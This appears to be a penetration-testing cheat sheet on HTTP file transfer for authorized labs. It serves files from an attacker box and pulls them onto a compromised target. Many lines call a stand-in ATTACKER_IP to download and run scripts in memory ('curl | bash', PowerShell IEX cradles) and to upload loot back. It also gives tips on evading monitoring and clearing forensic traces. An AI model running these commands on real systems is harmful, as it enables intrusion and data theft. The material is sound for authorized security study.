HTTP File Transfer

Turn your attacker box into a throwaway web server and pull files onto the target over an ordinary HTTP GET. It needs nothing pre-installed on the target, works through outbound-only egress, and uses tools present almost everywhere (wget, curl, certutil, PowerShell). Reach for it the moment you have a shell and need your enumerator or a static binary on the box.

Mental model: serve on your box, pull on the target - python3 -m http.server 8000, then wget http://ATTACKER_IP:8000/file (labs and authorized targets only).

New to HTTP transfers? Core concepts
  • Serve side / pull side: you run a web server on the attacker box; the target makes an outbound HTTP GET back to fetch a file
  • ATTACKER_IP / TARGET_IP: your box and the authorized target on the lab network
  • Web-server one-liner: python3 -m http.server 8000 turns the current folder into http://ATTACKER_IP:8000/<filename>
  • Downloader: the HTTP client on the target - wget/curl on Linux, certutil/PowerShell/curl.exe on Windows
  • Writable dir: where you drop files on the target - /tmp, /dev/shm (Linux), C:\Windows\Temp (Windows)
  • In-memory / cradle: pull and run without writing to disk - curl ... | bash, IEX (...DownloadString(...))
  • Egress filtering: outbound firewall rules; port 8000 may be blocked while 80/443 is allowed
  • Checksum: sha256sum / Get-FileHash to confirm the file arrived whole
When to reach for an HTTP transfer (and when not)

Reach for it to move an enumerator or a static binary onto a target right after a foothold, pull loot back with an upload-capable server, or do a quick one-off transfer without standing up a share. It needs nothing pre-installed on the target and works through outbound-only egress.

Reach for something else when traffic is monitored and cleartext is a problem (scp-ssh-transfer), when you want easy two-way transfer (smb-file-transfer), or when the target has no HTTP client at all (netcat-file-transfer).

Install, update, verify#

sudo apt install -y python3                 # Debian / Ubuntu / Kali (server side)
sudo dnf install -y python3                 # Fedora / RHEL
pip install --user updog                    # optional: server that also accepts uploads

python3 --version                           # confirm the server side
which php ruby busybox                       # fallback servers when python is missing

Self-test the server before you hand the URL to the target: start it, hit it from your own box, and grab your IP.

python3 -m http.server 8000 &                # background it for the test
curl -sI http://127.0.0.1:8000/ | head -1    # expect "HTTP/1.0 200 OK"
ip -4 addr | grep inet                        # find ATTACKER_IP to give the target

On the target, confirm you actually have a downloader: command -v wget curl on Linux, where certutil (or where curl.exe) on Windows.

Flags you’ll actually use#

Skim these first; the cheat sheet below is these flags combined.

FlagDoesFlagDoes
http.server PORTPython: set the listen port-O FILEwget: save to this path
--bind ADDRPython: bind one interface only-qwget: quiet, no progress
--directory DIRPython: serve a folder without cd-o / -Ocurl: save to name / keep remote name
-S ADDR:PORTphp: built-in server address-scurl: silent
-p PORTupdog: port (also accepts uploads)-F 'file=@f'curl: upload a file back
-urlcache -fcertutil: download, overwrite-OutFilePowerShell iwr: save path
-hashfile f SHA256certutil: checksum on Windows-UseBasicParsingPowerShell iwr: skip IE engine (old hosts)

Cheat sheet#

Each block starts simple and adds one option at a time, so you can stop at the line that does the job.

# Serve a folder (attacker): pick the line that fits
python3 -m http.server 8000                          # cwd, all interfaces
python3 -m http.server 8000 --bind 127.0.0.1         # localhost only (behind an SSH tunnel)
python3 -m http.server 8000 --directory /srv/tools   # a folder without cd'ing into it
php -S 0.0.0.0:8000                                   # no python? PHP built-in server
ruby -run -e httpd . -p 8000                          # or Ruby
updog -p 8000                                         # nicer UI, also accepts uploads

# Pull on a Linux target (save to a writable dir)
wget http://ATTACKER_IP:8000/tool -O /tmp/tool        # wget to a chosen path
wget -q http://ATTACKER_IP:8000/tool -O /tmp/tool     # + quiet
curl http://ATTACKER_IP:8000/tool -o /tmp/tool        # curl equivalent
curl -s http://ATTACKER_IP:8000/tool -o /tmp/tool     # + silent
chmod +x /tmp/tool                                    # binaries only

# Run a script without writing it to disk (lab, transient)
curl -s http://ATTACKER_IP:8000/linpeas.sh | bash
wget -qO- http://ATTACKER_IP:8000/linpeas.sh | sh

# Pull on a Windows target
certutil -urlcache -f http://ATTACKER_IP:8000/t.exe t.exe    # present on every host
curl.exe http://ATTACKER_IP:8000/t.exe -o t.exe              # Windows 10 1803+
iwr http://ATTACKER_IP:8000/t.exe -OutFile t.exe             # PowerShell (Invoke-WebRequest)
Start-BitsTransfer -Source http://ATTACKER_IP:8000/t.exe -Destination t.exe
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/t.exe','t.exe')  # old hosts

# Cradle a PowerShell script in memory (no file on disk)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/x.ps1')

# Push loot BACK (needs an upload-capable server, e.g. updog)
curl -F 'file=@/tmp/loot.zip' http://ATTACKER_IP:8000/upload

# Verify the file is intact (compare both ends)
sha256sum /tmp/tool                            # Linux
Get-FileHash .\t.exe -Algorithm SHA256         # Windows (PowerShell)
certutil -hashfile t.exe SHA256                # Windows (no PowerShell)

Command breakdowns#

Each block below explains one situation, the exact command, and what to expect.

Serve a folder over HTTP from your attacker box#

cd ~/labs/box/serve
python3 -m http.server 8000

Everything in the current folder is now at http://ATTACKER_IP:8000/<filename>. It logs every request to the terminal and is read-only (GET/HEAD). Ctrl+C stops it.

Serve a folder without changing directory#

python3 -m http.server 8000 --directory /srv/tools

--directory (Python 3.7+) serves any folder without a cd, so you keep your shell where it is and never accidentally expose your home directory.

Bind the server to localhost for an SSH tunnel#

python3 -m http.server 8000 --bind 127.0.0.1

--bind 127.0.0.1 stops the whole network segment from reaching your tools. Reach it from the target through an SSH forward instead of exposing 0.0.0.0.

Serve when Python is not installed#

php -S 0.0.0.0:8000
ruby -run -e httpd . -p 8000
busybox httpd -f -p 8000

Same idea, different binary. Whatever the attacker box already has wins; all three serve the current directory over HTTP.

Accept uploads back to your box#

updog -p 8000        # pip install updog

Plain http.server is GET-only, so a target POST returns 501. updog adds an upload form and accepts POSTs, which is how you pull loot back without a share.

Download a file on a Linux target#

wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy
curl http://ATTACKER_IP:8000/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy

Save into a world-writable dir (/tmp or /dev/shm) and chmod +x a binary. /dev/shm lives in memory, handy when the disk is watched or read-only.

Run a script in memory without touching disk#

curl -s http://ATTACKER_IP:8000/linpeas.sh | bash

The script never lands on disk, which dodges file-write monitoring, but it still shows up in process accounting and shell history. Only pipe scripts; a piped binary corrupts.

Download a file on Windows with certutil#

certutil -urlcache -f http://ATTACKER_IP:8000/winpeas.exe C:\Windows\Temp\wp.exe

certutil is on every Windows host. -urlcache -f downloads and overwrites. It is heavily signatured by EDR, so treat a silent failure as a block and fall back to another method.

Download a file on Windows with PowerShell#

iwr http://ATTACKER_IP:8000/winpeas.exe -OutFile C:\Windows\Temp\wp.exe
Start-BitsTransfer -Source http://ATTACKER_IP:8000/winpeas.exe -Destination wp.exe

iwr (Invoke-WebRequest) is the modern default. Start-BitsTransfer hands the job to the Windows BITS service, which resumes on drop and often blends in better than a raw client.

Download on an old Windows host with WebClient#

(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/winpeas.exe','wp.exe')

The .NET WebClient works on legacy Windows where iwr misbehaves (no IE engine, ancient PowerShell). Relative paths land in the process’s current directory.

Cradle a PowerShell script in memory#

IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1')

DownloadString pulls the .ps1 as text and IEX runs it without a file on disk. This is exactly the pattern script-block logging (event 4104) is built to catch, so expect it to be loud.

Download on Windows with curl.exe#

curl.exe http://ATTACKER_IP:8000/winpeas.exe -o C:\Windows\Temp\wp.exe

Windows 10 1803+ ships the real curl as curl.exe. Use the .exe explicitly, because bare curl in PowerShell is an alias for Invoke-WebRequest and does not take -o.

Fetch several tools in one loop#

for f in linpeas.sh pspy64 socat; do wget -q http://ATTACKER_IP:8000/$f -O /tmp/$f; done
chmod +x /tmp/pspy64 /tmp/socat

One server feeds the whole set. Serve once on the attacker, loop the pulls on the target, and mark the binaries executable in a single follow-up.

Verify the download arrived intact#

sha256sum /tmp/pspy64                              # target (Linux)
Get-FileHash .\wp.exe -Algorithm SHA256            # target (Windows)

Compare against the hash on your attacker box. A truncated or proxy-mangled download is the classic “it will not run”, and the checksum catches it instantly.

Beat egress filtering by serving on port 80 or 443#

sudo python3 -m http.server 80        # 80/443 need root (privileged ports)

When 8000 times out but web traffic flows, move the server to a port the firewall already allows. 443 blends best with normal outbound HTTPS-looking noise, though the transfer itself is still cleartext.

Reading the output#

The attacker’s server prints one access-log line per request. Read it to confirm the target actually reached you.

10.10.10.5 - - [04/Jul/2026 12:00:00] "GET /linpeas.sh HTTP/1.1" 200 -
You seeMeaningDo next
"GET /file" 200Target pulled the fileProceed; the transfer worked
"GET /file" 404Wrong name or wrong serve dirFix the filename; cd into the right folder
Client IP is the targetThe target can reach your boxYour egress path is open
"POST /upload" 501http.server is GET-onlyUse updog or SMB to accept uploads
No log line at allTarget never connectedFirewall, wrong IP, or blocked port

Troubleshooting#

ProblemCauseFix
404 on the targetWrong folder or filenamecd into the serve dir; check the exact name
Connection refused / timeoutEgress filtering or wrong IP/portServe on 80/443; confirm ATTACKER_IP and port
Binary will not runTruncated download or no +xRe-pull; sha256sum both ends; chmod +x
certutil fails or file vanishesAV/EDR signatureTry curl.exe, iwr, Start-BitsTransfer, or SMB
PowerShell iwr hangsIE engine not initialized (old host)Add -UseBasicParsing, or use WebClient
PowerShell curl acts weirdAliased to Invoke-WebRequestCall curl.exe
Binary saved as garbled textPiped a binary to a shellSave with -O/-OutFile; never pipe binaries
501 in the server loghttp.server is GET-onlyUse updog or an SMB share for uploads

Gotchas#

  • http.server binds 0.0.0.0 by default, so anyone on the segment can pull your tooling and see your IP. Bind 127.0.0.1 behind a tunnel, or stop it the instant you are done.
  • certutil caches every URL it fetches under the user profile; certutil -urlcache * lists them and it is a forensic artifact. certutil -urlcache -f URL delete clears one entry.
  • iwr uses the Internet Explorer engine on Windows PowerShell 5; on a fresh host where IE was never opened it hangs. -UseBasicParsing (or the WebClient one-liner) avoids it.
  • HTTP transfer is cleartext and loud. The file and the GET are visible to any sensor, and certutil -urlcache, IEX (New-Object Net.WebClient), and exe downloads from odd ports are heavily signatured. Fast, but switch to scp when it matters.
  • Only scripts can be piped to a shell. Pipe a binary into bash and it corrupts silently; save it to disk and chmod +x instead.
  • On Windows, curl and wget are PowerShell aliases for Invoke-WebRequest, not the real tools. Call curl.exe when you want genuine curl behavior and flags.

Pairs with#

nmap confirms an outbound path and the open port before you rely on one. When cleartext is a problem or SSH is available, scp-ssh-transfer is the encrypted default, smb-file-transfer wins when SMB is open and you want easy two-way transfer, and netcat-file-transfer covers boxes with no HTTP client at all. See windows-download-methods for the full Windows pull set. HTTP transfer is how you most often deliver linpeas, winpeas, and pspy.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop